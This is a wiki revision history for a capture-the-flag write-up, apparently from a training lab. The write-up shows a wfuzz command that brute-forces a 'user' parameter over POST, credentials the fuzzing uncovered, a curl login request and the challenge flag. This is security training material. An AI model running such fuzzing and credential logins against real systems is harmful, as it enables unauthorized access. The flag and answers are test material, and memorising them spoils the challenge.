Api - Revision history

Exf at 15:36, 9 September 2022

2022-09-09T15:36:23Z

← Older revision		Revision as of 15:36, 9 September 2022
Line 1:		Line 1:
	[[File:Admininstrator.PNG\|thumb\|Burp suite with administrator ]]		[[File:Admininstrator.PNG\|thumb\|Burp suite with administrator ]]
			[[File:Flag-api.PNG\|thumb\|flag after login]]
	===Description===		===Description===
	We found a nice target where some backed API communication is happeingn behind the scenes at URL.		We found a nice target where some backed API communication is happeingn behind the scenes at URL.
Line 9:		Line 9:
	===Question===		===Question===
	Can you reverse engineer messages and extract some information from this endpoint?		Can you reverse engineer messages and extract some information from this endpoint?
	~~[[File:Flag-api.PNG\|thumb\|flag after login]]~~

	===Solution===		===Solution===

Exf at 15:36, 9 September 2022

2022-09-09T15:36:13Z

← Older revision		Revision as of 15:36, 9 September 2022
Line 1:		Line 1:
			[[File:Admininstrator.PNG\|thumb\|Burp suite with administrator ]]

	===Description===		===Description===
	We found a nice target where some backed API communication is happeingn behind the scenes at URL.		We found a nice target where some backed API communication is happeingn behind the scenes at URL.
Line 7:		Line 9:
	===Question===		===Question===
	Can you reverse engineer messages and extract some information from this endpoint?		Can you reverse engineer messages and extract some information from this endpoint?
			[[File:Flag-api.PNG\|thumb\|flag after login]]

	===Solution===		===Solution===

Exf at 15:34, 9 September 2022

2022-09-09T15:34:48Z

← Older revision		Revision as of 15:34, 9 September 2022
Line 36:		Line 36:

	===Flag===		===Flag===
	<code>b5d7407c-1afb-42d6-aef4-40b94733aad9</~~flag~~>		<code>b5d7407c-1afb-42d6-aef4-40b94733aad9</code>

	===Links===		===Links===
	*[[CTF Challenges \| Back to CTF Challenges page]]		*[[CTF Challenges \| Back to CTF Challenges page]]

Exf at 15:34, 9 September 2022

2022-09-09T15:34:36Z

← Older revision		Revision as of 15:34, 9 September 2022
Line 9:		Line 9:

	===Solution===		===Solution===
	Somehow you have to find account name by brute forcing "user" argument, but you have to pass it in POST request. It still have to be sended as url parameter.		First I was setting up proxy to investigate what is going on. I used burp suite for that.

			Somehow you have to find account name by brute forcing <code>user</code> argument, but you have to pass it in POST request. It still have to be sended as url parameter.

	I was trying to use wfuzz but even knowing the correct account I could not be able to setup it correctly.		I was trying to use wfuzz but even knowing the correct account I could not be able to setup it correctly.
			<code>wfuzz -c -z file,common.txt -u http://shared.target05:1236/index.php?user=FUZZ -d "a=b" --hw 6</code>
			I use -d tag to send fuzzin with POST.

			When you get your username correctly you will get the login credential
			<code>
			Username: administrator
			Password: terminator008
			UserID: 1
			IP: 127.0.0.1
			Documentroot: /virtualadmin
			</code>
			You can go after that with your browser http://shared.target05:1236/virtualadmin/ and you will find login page. When you enter earlier credentials on it you get the flag.

			I was extracting webpage with curl command <code>curl -X POST -d "username=administrator&password=termionator008" http://shared.target05:1236/virtualadmin/index.php</code>

	===Tools===		===Tools===
			* burp suite
			* wfuzz
			* firefox
			* curl

	===Flag===		===Flag===
			<code>b5d7407c-1afb-42d6-aef4-40b94733aad9</flag>

	===Links===		===Links===
	*[[CTF Challenges \| Back to CTF Challenges page]]		*[[CTF Challenges \| Back to CTF Challenges page]]

Exf: /* Solution */

2022-09-09T15:25:29Z

Solution

← Older revision		Revision as of 15:25, 9 September 2022
Line 9:		Line 9:

	===Solution===		===Solution===
			Somehow you have to find account name by brute forcing "user" argument, but you have to pass it in POST request. It still have to be sended as url parameter.

			I was trying to use wfuzz but even knowing the correct account I could not be able to setup it correctly.

	===Tools===		===Tools===

192.168.110.1 at 13:30, 9 September 2022

2022-09-09T13:30:33Z

← Older revision		Revision as of 13:30, 9 September 2022
Line 1:		Line 1:
	===Description===		===Description===
			We found a nice target where some backed API communication is happeingn behind the scenes at URL.

			Sometimes it is possible to extrtact valuable information by tampering some parameters.

			Some dictionary attack may be used against index.php script and it seems that a web proxy is best tool for this job.
	===Question===		===Question===
			Can you reverse engineer messages and extract some information from this endpoint?

	===Solution===		===Solution===

Exf: Created page with "===Description=== ===Question=== ===Solution=== ===Tools=== ===Flag=== ===Links=== * Back to CTF Challenges page"

2022-09-05T12:50:21Z

Created page with "===Description=== ===Question=== ===Solution=== ===Tools=== ===Flag=== ===Links=== * Back to CTF Challenges page"

New page

===Description===

===Question===

===Solution===

===Tools===

===Flag===

===Links===
*[[CTF Challenges | Back to CTF Challenges page]]